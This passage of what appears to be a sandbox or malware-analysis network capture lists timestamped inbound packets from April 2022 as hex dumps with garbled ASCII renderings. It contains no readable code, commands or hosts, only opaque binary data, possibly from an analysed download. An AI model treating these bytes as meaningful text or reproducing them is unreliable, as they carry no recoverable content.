64 04 2f 98 7e b1 a7 af 47 56 21 1e 9e 2a 76 74 4e b1 44 65 18 77 2f c1 f2 c8 c7 7f 9c 8c ce db 22 2d a4 b4 74 e0 d0 83 dc a3 33 61 4d 1e cd f4 5b 34 2d 35 91 83 6a 95 4f 3a ed c7 ef b5 Data Ascii: s\ \K>\|i0>9h77^j_<C"8dYj)YsP5gU.qdA!ZAH$31\wMPvdi/5DvwAPY{Op\|k)SJ#.M)_rnL_rY%Rzd/~GV!*vtNDew/"-t3aM[4-5jO:
2022-04-20 13:31:40 UTC	99	IN	Data Raw: 3a b5 43 8d 00 2d 12 ff b1 01 75 e9 34 d3 07 3d ed 5b ed a9 7c 3b 5e 55 31 ef df 93 1e c3 1c 1e 6d 86 f7 87 67 f6 43 cd 4c 33 46 7d c4 2d f6 46 1b a4 1a 0c 7c 72 1e 32 8f 4b 48 c1 3c 73 99 b1 54 31 64 5a 0e 5e 99 c6 5d 7d 4c 98 4c 82 ca 4f 64 0b 4f f8 1c 03 02 2b 44 3b d5 45 40 68 2b aa 1f 2f 47 34 65 45 89 ac 98 22 01 ea a8 5b 2c 74 9a 9a b6 90 75 9f c6 a2 3f de b7 dd 03 3f 84 3a d8 8f 28 0a 52 82 6e e1 68 cd 2a 96 23 03 df 8a 7b 9b b0 f6 5e f1 98 38 27 2d c1 8a f3 94 4d 41 48 d2 4c 06 3f 00 32 65 1c 4e fa 03 dc 2c 73 05 0c 75 b4 c4 20 14 af 54 eb 71 9c dc 44 67 ba b7 13 55 40 61 4a 35 ea b3 9a 34 57 9e ae d3 77 e5 76 af 1f 31 55 04 e6 3b 37 f4 86 e2 39 3b a8 71 15 e9 f0 e7 db cc 7f 6e 4c 29 a3 ac 29 71 e7 84 e4 f1 92 84 21 c3 5c 8e f3 ad 37 04 e6 2e 13 Data Ascii: :C-u4=[\|;^U1mgCL3F}-F\|r2KH<sT1dZ^]}LLOdO+D;E@h+/G4eE"[,tu??:(Rnh*#{^8'-MAHL?2eN,su TqDgU@aJ54Wwv1U;79;qnL))q!\7.
2022-04-20 13:31:40 UTC	100	IN	Data Raw: c8 db 5c 00 c9 72 7f 3e d4 8e 0e 8f 33 67 54 15 3b d5 7e 1c 0a eb 91 8f 53 99 7b 14 ed c7 e5 6d 68 57 2e 67 12 15 39 d1 35 ff d2 36 65 79 d2 ee 9b 4a b0 cc 1a be e1 08 2e 85 9f aa d8 71 d6 ee 1b 4e 9a ed 6f 3e 82 a0 d9 75 cf 39 bc 20 9b 18 4c 4e 97 db 55 84 a9 f1 bb 79 42 04 bd 0a 5c 33 88 18 3d e6 8d 5b d1 9e 12 fa f4 c5 91 c9 62 35 81 23 4e f6 77 aa 38 42 73 49 2e b4 d9 81 bc 86 07 eb ee 9e ec 62 e5 e4 43 aa cd 24 5a c1 fa 2f d7 aa 9b f0 15 c4 02 f7 08 ca 86 54 c1 5e f4 e1 2b c7 ed b4 ea 2d d4 72 a0 93 8e 92 59 a4 b6 4d b5 1b ba 91 5a 8c 2a ad 37 6d 3c 48 79 03 de 8d 82 d4 46 05 74 2c d8 16 86 25 13 70 21 0c d8 1d 2c 9a d6 c7 ce 20 84 fd cd d3 50 ef b7 d0 85 e8 b6 1f 80 e4 1d bc 66 3b 1f 90 7a af c1 1e 6d c4 65 c1 de 5c aa 74 e1 47 74 52 da 08 b1 9f 44 Data Ascii: \r>3gT;~S{mhW.g956eyJ.qNo>u9 LNUyB\3=[b5#Nw8BsI.bC$Z/T^+-rYMZ*7m<HyFt,%p!, Pf;zme\tGtRD
2022-04-20 13:31:40 UTC	102	IN	Data Raw: 8b 03 ca 3d f4 d9 de 41 14 b7 cd a2 85 b2 63 e1 8a 95 ea 01 87 23 c8 fa 59 ad 3c 50 b0 54 3d 17 32 53 4a 79 e9 3e 65 cb ed 16 7f ae 73 9f 8b c8 34 c3 0f db 4b ea 20 d0 76 90 61 99 c3 cf ef aa 91 0f 5a e4 25 71 fd 9d 5a c4 8f 1c 27 69 a1 56 33 ef 3a e0 0f 82 e9 dc fe 58 9b 1e 99 15 ae f8 84 09 07 47 39 6d 3c 03 26 a7 f0 34 ee e4 1a ea d8 f6 a1 8a 24 06 82 11 f9 50 a3 59 60 3a 8d ab 8e 55 73 62 81 50 e2 97 55 b6 96 be 8a 46 9e 98 e8 46 46 31 8e 24 8e 19 e8 25 05 db 7d 8a 0a 47 10 1a b4 de f0 25 73 4e 37 37 d4 0d 06 74 cc 7d 5b f1 42 19 4e 2b 50 04 8e ce f0 ef 8e 06 4e 97 60 cf 56 dc c9 84 56 76 b5 62 b8 fa 32 34 2f 65 f0 6b 05 61 1a 2c a3 6d 38 55 c2 d6 0d 6b 93 af 9b bd 03 51 1a 57 e5 df ef 8c 79 43 e1 b5 f9 71 67 7c 59 f0 36 0d 02 18 ae 3a 50 99 b3 2a c9 Data Ascii: =Ac#Y<PT=2SJy>es4K vaZ%qZ'iV3:XG9m<&4$PY`:UsbPUFFF1$%}G%sN77t}[BN+PN`VVvb24/eka,m8UkQWyCqg\|Y6:P*
2022-04-20 13:31:40 UTC	103	IN	Data Raw: ee d3 34 84 9a 46 63 68 1a 1f 56 7b af cd 3a 16 e9 65 c7 fc 6e ab 72 99 7e 54 50 de 2a 84 90 61 18 ea a0 03 5c fb 0c c6 7c 0b 70 06 ef 84 9f b5 b2 d1 df bb e8 33 ea 88 f3 b6 e8 a1 a3 27 a0 04 b4 45 e4 30 22 3a cc 6c 0f 56 ae 5a d2 07 31 e6 62 ce c6 ba 30 80 5f 1f 3f df 8f 18 d0 14 c0 64 a3 c3 88 67 f8 54 de 42 1a 68 7d f4 27 34 0a 0a a6 10 da 6f 7f 14 0e 97 58 92 3f c2 8c d1 a0 45 37 c1 5c 1d 4f 82 dd 31 c1 fb a7 20 70 4b 82 62 21 45 eb 19 7c 4a 2a 44 3f fd 30 41 63 84 a7 04 1a 80 37 64 43 a1 2f 99 e5 ff c3 00 46 2c 7e 88 8d 97 92 5d 3a c6 a2 35 72 b0 db 19 f4 35 3c e0 00 39 0e 7a cd 7f e5 7a 20 23 ab 3b 29 99 3e 6c 47 8f 6d d1 de 92 10 68 25 d8 93 98 db 5e 45 55 3f 4b 23 14 bf 21 61 16 77 14 1e 22 2b 4c 05 15 65 4f cf 3b 0c 76 3d f8 75 81 34 54 4d aa 65 Data Ascii: 4FchV{:enr~TPa\\|p3'E0":lVZ1b0_?dgTBh}'4oX?E7\O1 pKb!E\|JD?0Ac7dC/F,~]:5r5<9zz #;)>lGmh%^EU?K#!aw"+LeO;v=u4TMe
2022-04-20 13:31:40 UTC	104	IN	Data Raw: 18 9a bd 05 53 1e 57 ff e0 56 5c 78 45 88 e7 e9 60 6f 7c 43 fb 5e b1 3e 19 a8 2f 52 82 ac 3f b6 aa 63 15 25 98 7f f6 4d ad 47 56 5f 51 8e 2c 1f 4d 5e bb 2d b2 15 5f bc d3 fc a1 02 3c 9d 86 f2 72 cd de 34 ac 63 f1 d4 de 1f a2 33 66 72 14 02 f5 0b 25 00 35 90 e6 24 98 67 1e 31 19 f0 4e 40 66 0c 67 16 1b 34 a2 21 fd d2 0c 6e 4d b0 ee 95 5d 6e ce 1d 8f d6 21 2e d9 de 9e d8 dd d4 ee 0a 3d ff ef 6f 34 e9 a7 a7 20 1f 38 b8 08 66 19 4c 48 bf 80 56 84 af d9 57 78 44 02 d2 2b bd 32 82 c6 da c2 a5 76 c4 9e 18 f6 c1 eb 91 c8 73 db 85 25 07 a2 76 aa 85 6a 98 59 5d a7 f3 da b5 8c 29 62 02 9f ea 77 83 d3 52 a2 ff 06 54 e4 d2 13 de bb 99 67 31 e2 2a cc 02 14 8c 6b 0e 5f e8 e1 58 9d ef b2 e0 3c ff 7a c1 d5 8c 92 52 ad d9 21 b7 07 fc 82 50 80 2e ba 59 2b 0e 4b 73 30 82 8f Data Ascii: SWV\xE`o\|C^>/R?c%MGV_Q,M^-_<r4c3fr%5$g1N@fg4!nM]n!.=o4 8fLHVWxD+2vs%vjY])bwRTg1*k_X<zR!P.Y+Ks0
2022-04-20 13:31:40 UTC	105	IN	Data Raw: 49 04 7e 2b 3c 12 37 fb 34 b1 ff 1f 28 42 97 03 04 68 0d f7 3c 07 ad 7f c9 64 84 0a a9 48 bd b9 75 a5 6b 7f 53 1d cf b3 98 3c ac b7 6e db 61 e1 ed 0e 20 d8 59 08 f6 3f a9 dc 7c e5 23 c3 bc 4b 38 f1 2d fc c2 de e5 10 77 33 5d ab 14 66 c9 61 e5 f9 05 e8 6a c1 d2 3f a8 2d 50 f7 3c 3c 17 32 6a e7 16 43 34 4d 8e d7 d0 8b 3e b6 43 9d d3 51 5a 36 db 41 fc 63 c8 65 9a 1e cf 2d cf ee cf df 0a 72 56 fa 60 f3 f9 9f d5 87 07 27 69 ad f0 2a d0 4f 14 d8 c4 34 c9 dd 58 18 1e 99 15 95 58 f7 1c 0f 6f 7c 66 14 27 49 9d f8 ea e6 8d dc ed f2 fc f7 d1 30 04 80 1b 96 be f5 59 6a 29 c6 a2 9f 50 fe cd 81 50 fe bf e1 b5 96 b8 a2 e8 9e 98 e2 6e e7 31 8e 2e 4d 1f c0 1e cb da 77 b3 c9 47 10 1a ae ad 27 25 68 78 21 39 62 18 23 5c 5d 7d 5b ea 22 03 4a 26 72 20 a6 20 f9 32 32 0a 30 d3 Data Ascii: I~+<74(Bh<dHukS<na Y?\|#K8-w3]faj?-P<<2jC4M>CQZ6Ace-rV`'i*O4XXo\|f'I0Yj)PPn1.MwG'%hx!9b#\]}["J&r 220
2022-04-20 13:31:40 UTC	107	IN	Data Raw: 03 f5 ef b2 ec 20 f2 5a 88 8e 8e 98 37 91 b4 7d bf 14 f3 80 51 a8 a8 ad 36 76 7f 70 78 5f d8 9e 84 69 40 2d 99 5c cd 12 e9 6c 18 76 59 4b df 0c 2d 9a c0 c5 ce 20 c3 97 cc d3 5c ef fc d1 85 e4 b6 03 83 e4 11 73 6e 0f 32 95 83 ad cb 14 2a dd 67 c1 de 93 af 5a 69 13 75 54 b1 17 58 9e 4e 18 69 a0 03 5c df 83 e8 7c 01 15 99 ee 82 e7 f5 b6 f9 a7 91 03 34 85 b9 d9 e5 e1 89 02 0f 4d 0f 9c 30 8b 11 26 29 c1 a3 07 62 81 5f 44 06 3b ed 25 df c7 ba 3c 58 4e 1f 7a 18 92 18 da ca cf 47 8b f2 aa 67 fc 5a d6 6a 35 68 7d ce f9 28 57 03 bf db c9 66 6f 06 2f 94 d6 c1 02 f7 73 99 5f 43 0c b2 48 0f 4f 88 d7 4f c6 fb 03 f3 7c 3a ad 62 21 4e eb 2c 06 1e 4f 47 3b d5 64 40 63 93 bc 1e 20 7f 61 67 45 89 81 88 f7 ea fc 59 47 00 7a 8a 85 e9 91 74 01 cc ba 0e 16 a8 c5 01 3b 97 2f f2 Data Ascii: Z7}Q6vpx_i@-\lvYK- \sn2*gZiuTXNi\\|4M0&)b_D;%<XNzGgZj5h}(Wfo/s_CHOO\|:b!N,OG;d@c agEYGzt;/
2022-04-20 13:31:40 UTC	108	IN	Data Raw: 38 39 b3 ad 2d 2f 74 60 1f 39 0a 13 0e 5b f5 70 86 6e 53 16 48 0e 7e 2e 8e c8 e9 35 33 2e 0d 95 71 cb 6d 61 dc 95 58 97 d3 74 62 ef 0c 25 20 77 b2 78 0b 0e d9 25 b2 62 b5 9e d6 ae df 7b ab 29 a2 80 01 40 14 57 fd d9 89 c5 69 44 88 a1 e9 60 63 7a 93 85 50 df 03 12 bf 38 4b 99 b4 a1 b6 92 63 15 29 98 72 b1 9d af 47 5a 27 c4 96 fa c3 24 47 b0 42 7e 07 55 a0 d3 f8 a1 af 3d 9d 86 df 07 20 35 d8 7f 5e d2 cb af 0e 76 30 67 58 09 19 ea 73 04 6f 3d 90 89 73 b0 44 14 ed cd cd 44 68 4b 06 4f 4a 0a 39 db 1c a8 d0 06 6f 4d bd ee 95 5d a3 c8 0a a8 c9 dd 3d d4 8e a7 c9 c9 e7 26 22 c7 8e ef 69 27 82 b7 a3 37 43 63 b8 08 71 0a 59 59 aa 96 40 19 be cc 38 40 43 02 d8 38 52 25 93 ca bd 74 b2 ac c2 88 0b f8 f7 95 86 da 67 fa 8d 34 3e b2 7a bb 32 f0 89 47 06 e4 f3 da b5 ae 56 Data Ascii: 89-/t`9[pnSH~.53.qmaXtb% wx%b{)@WiD`czP8Kc)rGZ'$GB~U= 5^v0gXso=sDDhKOJ9oM]=&"i'7CcqYY@8@C8R%tg4>z2GV
2022-04-20 13:31:40 UTC	109	IN	Data Raw: 23 49 1c 6a 41 89 87 f6 a6 f4 eb a1 40 3d 7a f4 4f 87 96 7f 10 d3 b5 e9 4c a2 cc 07 38 81 b0 57 3f c8 f7 ad 7d a1 f0 55 1b 06 ba 33 0b 42 29 1f 54 a5 20 d9 d5 b0 16 26 27 d2 47 f5 92 76 42 75 2c 0c 36 3c 18 21 61 1c 5f f8 1f 22 2d 3b 00 04 62 08 ca 3d 07 be 54 fa 75 9c 22 45 4a a6 8f 1e 64 6d 7e 59 31 29 a2 9e 3c da 8a 80 d8 6b ed d0 5f 0b eb 5e 20 d2 29 33 fe bf e9 27 c5 af 75 33 c2 2c f6 db cc 6e 7b 60 09 5d ad 0f 4d ea ff f3 fb 03 8d 22 1d 06 39 ae 3c 7e df f9 3d 11 10 55 ec 79 e3 1c 42 80 ed 10 5d e2 49 9d 81 ea 14 2f 0f d1 4c f4 67 d4 70 90 6d de 60 cd ef aa aa 44 70 5c 2c 1e b4 ec 49 cc 83 00 27 6f 7e 6d 96 fc 32 c1 5f 32 c2 cd fc 70 33 36 8b 1b 86 59 95 01 25 14 76 6d 3a 1a 4c 94 da 27 e0 8b f0 c2 cc f8 b6 e3 21 0c aa 60 96 be a5 4a 6c 20 a1 b6 9b Data Ascii: #IjA@=zOL8W?}U3B)T &'GvBu,6<!a_"-;b=Tu"EJdm~Y1)<k_^ )3'u3,n{`]M"9<~=UyB]I/Lgpm`Dp\,I'o~m2_2p36Y%vm:L'!`Jl
2022-04-20 13:31:40 UTC	110	IN	Data Raw: 49 ce 43 1b 68 68 c4 27 28 5b 0a a8 0c c1 5f 7a 0f 51 9c 58 76 f8 c2 8c 77 d3 50 24 b2 43 15 67 72 d6 4f f5 f7 d4 dc 7d 35 b6 69 09 50 fc 1c 04 36 09 44 3b df f3 60 67 82 ac 25 11 47 34 6e 6d b2 81 99 ef d9 f7 a0 6e 33 70 9b 8f ae b4 75 01 cc 8a 1f 5b b7 db 3a 0a 97 3e ea 6f df 0b 52 84 54 e3 03 26 29 ba 39 2b 56 52 51 43 a7 2a bc e0 9a 38 2c 34 d1 a1 15 95 5c 45 4d 25 65 15 3e 18 2b 72 18 2c c5 1e 22 2b 4c 07 03 73 66 a7 7d 05 ab 5e 95 7b 83 22 4f 24 b2 bd 1a 6e 78 75 61 53 eb a2 9e 3f a3 b7 92 da 61 ed eb 1e 19 ed 70 29 f8 28 35 e2 bf d6 23 c5 a3 4b 23 e8 3d f9 cf d9 7b 10 08 30 5d a7 14 66 8e 41 e7 f9 09 af 02 c2 d2 3f 86 c6 57 98 fc 52 5d 38 7b e7 16 a8 35 4d 82 d5 05 74 c1 49 8c 8d ea 79 2b 0f dd 57 d5 7f c4 74 9a 7d c5 13 c8 fe a4 ed 4a 70 5c 2c 60 Data Ascii: IChh'([_zQXvwP$CgrO}5iP6D;`g%G4nmn3pu[:>oRT&)9+VRQC*8,4\EM%e>+r,"+Lsf}^{"O$nxuaS?ap)(5#K#={0]fA?WR]8{5MtIy+Wt}Jp\,`
2022-04-20 13:31:40 UTC	111	IN	Data Raw: 3f c4 22 d7 e1 07 65 6f 88 74 fa 6a b1 cc 1d b4 d7 23 1b dd 9f ac b7 1c d6 ee 00 11 aa fe 68 25 8e 8e 92 24 ce 3f ad 1e 58 2a 4d 48 b5 97 cc ac 99 dd 57 7e 57 14 fa 18 5f 33 88 d0 a9 ac 9a 77 d1 98 09 f1 f4 dc 95 c9 6e 84 c2 24 30 a5 67 ad 53 56 99 48 28 dd f6 db bf 8c 16 3d 01 8e eb 0b b4 c4 41 ac a8 fd 55 e4 d8 15 29 a8 ce d1 35 ed 13 f0 6d d2 87 52 e1 81 e7 c4 03 ea ed b2 e0 22 fe 5a 80 8e 8e 98 86 a4 a7 76 da ad f6 91 5e ab f2 53 c9 89 d2 5d 68 54 ab b4 82 78 47 29 69 4e c6 61 bf 2f 19 77 30 07 d9 1d 22 6e 2c cf d9 f0 bf a9 df da 47 cd d5 66 ba 6b 27 c1 7d e3 3d 62 68 5f 03 bd 7a af cb 12 45 97 65 c1 d4 7d aa 72 9f 6d 74 52 de 2f 5a 9e 44 2d c7 a0 02 54 f7 24 e8 20 0b 7a d8 d2 83 e1 e4 2a d0 db 93 15 32 ea 8e db e5 eb a1 be 3f 49 05 f5 42 8b 11 e7 3a Data Ascii: ?"eotj#h%$?XMHW~W_3wn$0gSVH(=AU)5mR"Zv^S]hTxG)iNa/w0"n,Gfk'}=bh_zEe}rmtR/ZD-T$ z2?IB:
2022-04-20 13:31:40 UTC	113	IN	Data Raw: 4d 73 ed 16 75 0b 49 9d 9a d4 48 29 37 11 41 fd 4f c4 65 96 75 08 2c e3 f2 a7 8a 22 16 5e 26 7b e3 8f 61 90 8d 16 25 50 f3 7c 9d e5 12 c9 27 3b e0 d7 e7 79 26 18 99 0e 80 47 7a 08 21 66 5e 97 3d 09 4f 96 eb 27 e2 8b e7 ec cf 02 b7 c9 33 1c 91 1d 96 af a5 45 94 28 a5 a6 b4 4d 46 df 87 50 f9 b9 fe bc 68 b9 8e e0 97 8f 34 63 fe 3b 9d 28 85 0f c6 01 0f 25 76 9f d5 4e 01 1f 81 b7 38 2f 60 4e 24 28 0c 00 dd 5d cd 7b 59 e8 55 0c 5b 20 78 3b 88 d3 04 33 18 0a 5f 93 78 ae 8f 68 ca 8e 5c 07 77 65 b8 ed 19 2c d7 4e ca 7f 1d 03 d3 3e a5 6b 3e 89 ca 3f 1f 57 a7 32 9f d2 04 41 14 4c e6 cd 9c 4c 7e 43 f6 a0 fe 9e 68 41 4a fd 4a d8 03 09 ae 36 48 76 bc 17 db be 67 2d 12 76 8a 21 b2 98 46 50 3a 3a b9 2d 19 41 48 99 ac 75 14 55 d9 0a f3 ce a2 14 73 8d c8 d7 5c e9 ca 72 7f Data Ascii: MsuIH)7AOeu,"^&{a%P\|';y&Gz!f^=O'3E(MFPh4c;(%vN8/`N$(]{YU[ x;3_xh\we,N>k>?W2ALL~ChAJJ6Hvg-v!FP::-AHuUs\r
2022-04-20 13:31:40 UTC	114	IN	Data Raw: 25 fb 66 1a 60 ce c7 d0 e5 e4 b5 73 ca 89 14 1a b9 8a db e3 49 b0 bf 17 65 51 b0 43 8d b3 31 20 df 9a 54 77 86 71 70 16 21 f8 43 c8 3c bb 3a 58 4c 1e 04 d7 80 0d c6 07 d4 49 92 ce bf 76 e2 d3 cd 4f 0a 6d 6c c9 48 1f 44 0a a2 21 c3 7e 7b 1e 33 f1 6f 74 3d c8 f8 6a a0 45 3d a1 45 0e 43 a0 65 4e f3 fd b4 2d 6d 21 a7 b4 32 5b e9 08 13 0b a5 f3 09 12 ca 45 4b d3 ae 0d 34 28 03 66 45 83 a9 88 e5 f5 e1 b4 4e 3d 7c f4 9c 87 96 7f d1 de a2 3f 5e 9f c9 12 29 9d 0d f3 11 22 1b 5a aa d8 e5 70 39 44 87 32 01 57 05 d6 41 a7 20 c2 d8 8c 10 c7 25 d8 9f e0 19 5b 45 5f 2d 5e 3c 2d 0e 37 70 14 77 ef 1f 22 27 fd 13 12 71 75 d9 2a 13 bf 43 77 27 81 22 44 58 a5 ae 02 72 7c e3 48 29 c2 3a 9e 2d a3 8e 9a ce f1 cb f3 09 1f fd c2 20 ed 28 33 fe 84 ee 57 c9 a9 5d 0b d1 27 ed c2 d9 Data Ascii: %f`sIeQC1 Twqp!C<:XLIvOmlHD!~{3ot=jE=ECeN-m!2[EK4(fEN=\|?^)"Zp9D2WA %[E_-^<-7pw"'qu*Cw'"DXr\|H):- (3W]'
2022-04-20 13:31:40 UTC	115	IN	Data Raw: f6 b7 ac 47 5a 21 1e a7 d1 19 4b 45 67 5c ae 3c 71 b4 c2 f8 b0 b9 3d 9d 86 db c6 22 38 a4 67 74 e0 d0 83 aa a1 33 61 31 37 11 fb 74 0f 24 27 b2 98 5d 89 7e 3c fc c7 e5 61 07 7b 0e 67 16 67 2c d1 34 f5 fa 20 67 65 94 ff 8c 38 a5 cd 1b af f9 86 2d d9 99 c5 f7 df d6 e4 19 1f 9e cd 7e 2d a0 b7 a7 20 c4 56 88 0a 70 13 69 65 ba a6 47 b5 84 d3 2e ff 42 02 d3 5a d9 33 82 c7 20 e2 b4 6f be 8b 19 f6 d6 c3 1f ca 68 ed ee 0a 32 a3 7c b9 23 7b 87 59 37 9a e0 da bf 8c 6e f3 01 9f e6 41 a7 c0 67 bb f6 d1 5e 9d 55 02 d7 ab e0 7a 3d ea 03 e4 1c 6a 97 53 eb 55 fb c1 3a c1 f1 3e bb 31 f6 73 b8 a6 aa 90 58 ae 9a 18 a4 00 ee 1d 05 91 2a ac 20 5e 28 49 79 55 f2 d8 93 61 29 10 64 5f c7 3c 09 2c 19 70 30 75 db 1d 22 a1 18 d7 eb 37 b5 88 df d3 56 cd 34 e1 87 ee d3 1b af e1 31 73 Data Ascii: GZ!KEg\<q="8gt3a17t$']~<a{gg,4 ge8-~- VpieG.BZ3 oh2\|#{Y7nAg^Uz=jSU:>1sX* ^(IyUa)d_<,p0u"7V41s
2022-04-20 13:31:40 UTC	116	IN	Data Raw: 98 a0 9e 27 ba 8e 93 c9 75 cf a9 1a 08 ed 4e 85 fb 28 33 f5 83 f2 37 ed 31 5d 10 c8 04 1f c8 c8 75 f3 19 32 5d ac 16 72 f0 9e f1 75 52 87 29 c1 fa c1 ae 3c 5c b0 19 3d 17 32 6c 3b f4 c6 34 4d 85 fe 18 63 d2 44 8b 98 d1 73 d5 0e db 47 ee 40 d2 67 84 18 cd 2c cf e9 b3 92 1b 63 48 0e 19 ff ee 4f df 02 11 2f 78 a5 6d bf fe 18 fc 36 35 c2 cd f8 70 3f bc 88 3d 91 49 08 58 0d 6f 77 cf 2d 2b 51 8c e0 1c f5 8b f6 e0 7a ed 94 f6 13 15 a1 0f 82 a7 2e 0b 6a 29 88 b0 bb 41 7f da 96 cc f9 9b f6 a3 0a a9 86 f0 89 04 f3 4a f6 19 12 2e 85 14 e6 0f 21 cd e7 9f d7 56 33 0c 29 85 36 24 73 42 37 37 1b 3d 3b cc cd 76 4a d8 49 8c 60 37 78 2a 84 dd e8 23 25 12 66 0f 73 c1 78 7f 47 83 50 19 65 77 ac e8 08 1e b5 4f e6 70 2d 1f d9 39 8b 02 2b 8f d7 d7 93 7c ab 23 9a a9 17 54 03 6e Data Ascii: 'uN(371]u2]ruR)<\=2l;4McDsG@g,cHO/xm65p?=IXow-+Qz.j)AJ.!V3)6$sB77=;vJI`7x*#%fsxGPewOp-9+\|#Tn
2022-04-20 13:31:40 UTC	118	IN	Data Raw: dd 7b ba 2e 19 70 30 90 d9 1d 22 9e 27 d7 d2 49 92 a1 ce d5 47 d7 34 ef 84 ee df 51 48 e4 17 68 44 1b 20 ae 63 71 d2 00 6d c2 39 c1 d4 88 87 cd 41 1f 67 7a 20 36 50 9e 44 2b a8 fd 03 56 fd f8 f9 65 26 6d c9 ff aa 8f e0 b3 d7 b4 d0 02 32 ec 88 ca f5 84 67 a4 0f 47 13 a7 5a 9f 02 30 49 fd b3 01 75 95 67 c4 14 28 fd 59 ed d7 a0 29 48 74 1e 3d 24 92 18 d6 07 cf 73 b5 c8 7c 74 e0 58 c8 53 3e 56 ca 3f d8 d7 57 2a bf db c9 4f 6f 2f 2f bf d6 c1 02 81 76 99 5f 9b 33 97 61 32 4f 88 dd 5c ee 88 b2 28 7c 3f bb 4a 0f 4f f8 16 dc 1c 2d 6e 3c ff db 40 22 b6 aa 0d 30 47 34 64 a1 8f 81 99 a8 f5 eb a7 77 2b 74 9b 87 86 96 75 01 c6 a2 3f 5f b7 dd 12 2f 97 3e e0 93 2f 0a 52 1b 78 e5 70 26 2b ba 33 1c 51 3d 6d 5a 97 25 d3 66 99 38 26 f7 d8 99 e6 bc a6 44 5f 2a 46 59 29 1a 21 Data Ascii: {.p0"'IG4QHhD cqm9Agz 6PD+Ve&m2gGZ0Iug(Y)Ht=$s\|tXS>V?WOo//v_3a2O\(\|?JO-n<@"0G4dw+tu?_/>/Rxp&+3Q=mZ%f8&D_FY)!
2022-04-20 13:31:40 UTC	119	IN	Data Raw: 3f 61 66 63 b2 f4 37 41 2d 4f e0 52 70 0a c8 2b 8b ca 2c 8f d7 b2 69 79 ab 29 f4 c5 01 40 1e 4e dd b1 84 5f 7e 6b 9b a2 e8 66 41 cc 4a ea 5f ad 74 1a a8 23 2c f0 bf 3b d3 9d 4a 68 27 89 73 f6 e4 aa 47 56 18 b3 8c 2c 1f 38 38 b3 42 7e 7b 27 b4 c2 f8 c6 80 41 99 8c ce f5 4d 25 cb 74 5d 9f de ab 20 d1 44 65 5e 12 7c 83 7c 1c 0a 3d b9 09 7d 98 61 3c 93 c3 e5 6d 40 ca 08 67 1a 7b 4e d3 34 f5 bd 7e 67 65 94 e6 bd d5 b4 cc 1d 8d 52 0f 2e df b7 0b db dd d0 9d 7d 3f 8f e5 00 4c 8a a6 ad 36 c6 56 c1 0a 70 13 5b 92 ac 92 45 80 97 fe 56 78 42 7c a8 29 5e 39 8a d7 37 ac de 74 d1 94 63 8a de eb 9b a6 5d e9 81 2f 23 a4 67 ad 11 48 e6 0c 2e b2 fb d2 ae 82 6e b8 01 9f e6 1f f6 c7 41 a0 a8 cf 56 e4 d8 11 d0 bb 96 d0 38 d2 e0 f7 02 14 90 df c4 5f e8 e0 38 c2 fc b5 e2 20 f2 Data Ascii: ?afc7A-ORp+,iy)@N_~kfAJ_t#,;Jh'sGV,88B~{'AM%t] De^\|\|=}a<m@g{N4~geR.}?L6Vp[EVxB\|)^97tc]/#gH.nAV8_8
2022-04-20 13:31:40 UTC	120	IN	Data Raw: 30 70 33 21 b1 2c 1b 79 e9 6c 41 ad 08 43 da 98 3e 0e f2 d8 99 fd 98 54 6d 66 2c 4d 20 05 32 20 61 1c 58 d6 24 22 2d 55 2f 03 64 6f 15 20 06 ab 54 fd 06 56 23 45 4d ae bb 0b 60 43 34 5d 31 ec cd 4f 2c a9 99 af df 67 ea 25 18 09 eb 58 1e ed 2c 5c 26 96 e6 25 d2 73 4e 1f d1 29 c4 07 c8 7f 7f 59 36 4c a8 13 0f 32 8d e6 ff 10 81 38 c4 c3 3c b9 53 85 99 fa 3b 04 3f 73 c5 4b eb 34 4b 95 eb 3e 53 c1 49 97 a3 fb 5b 2f 05 e2 c8 fd 4f c4 65 97 43 67 29 cf e9 88 10 0e 72 5a 30 59 80 ee 49 c0 9c 1a 3e 7f 8c ed 99 ef 3c c2 b5 3f ea da ee 58 4e 1e 99 19 95 54 95 02 25 10 74 6d 36 1a 42 8c f9 1c 70 8f f6 ec f0 3c b7 e5 36 17 8b 0a 91 96 36 5d 6a 2f a1 31 9b 50 5d da a9 2b e8 bf e7 a6 9e cb 99 e9 9e 9e f1 64 f0 3b a6 be 81 1e c6 71 46 da 77 b5 cd 4d 01 16 dc 90 26 24 75 Data Ascii: 0p3!,ylAC>Tmf,M 2 aX$"-U/do TV#EM`C4]1O,g%X,\&%sN)Y6L28<S;?sK4K>SI[/OeCg)rZ0YI><?XNT%tm6Bp<66]j/1P]+d;qFwM&$u
2022-04-20 13:31:40 UTC	121	IN	Data Raw: c5 4b a1 b4 ef 56 e4 d8 08 c8 8a 1c d2 3d ea 03 e4 0d 05 89 44 f4 6a 74 f0 24 d0 cd 52 ea 31 f6 ee bf 81 96 b2 dd a4 b6 7d 29 16 f9 88 4b a1 b6 bc 39 6c 2c c1 79 5f de 11 93 77 5d 1a 08 c3 dc 1b 9a 0f 88 76 5f 5a 45 0c 27 af 1d 65 ce 26 ac 3c df dc 48 e7 cd d1 85 ee 45 2f 8d fb 1e 7d 37 82 26 b2 65 a5 eb e0 45 ea 65 5d c5 8d b5 79 80 26 e9 43 d1 3f 56 be d1 30 c7 a0 9f 47 f8 3b e5 5c da 7a d8 ef 1e f0 eb ac df fb 5c 03 32 ea 12 ca ea f4 ae ba 39 d1 14 bb 5c 9b 0e 51 a6 d7 bd 1e 62 a6 a9 d2 07 3b 77 5b ef d9 a8 25 20 c3 08 1a c1 80 07 8b 88 d1 6d bc cb b5 05 6a 58 d1 5d 0e 77 45 58 36 27 59 1c 88 d8 da 6f 7e 93 2f 91 47 61 1d 39 8c 66 a0 d9 37 bd 56 07 6f 53 d7 4f f3 67 b6 25 63 2c af 06 bd 5e f7 03 18 3e 8d 44 3b d5 47 51 6c 9d b1 12 79 db 25 6b 5a 95 a1 Data Ascii: KV=Djt$R1})K9l,y_w]v_ZE'e&<HE/}7&eEe]y&C?V0G;\z\29\Qb;w[% mjX]wEX6'Yo~/Ga9f7VoSOg%c,^>D;GQly%kZ
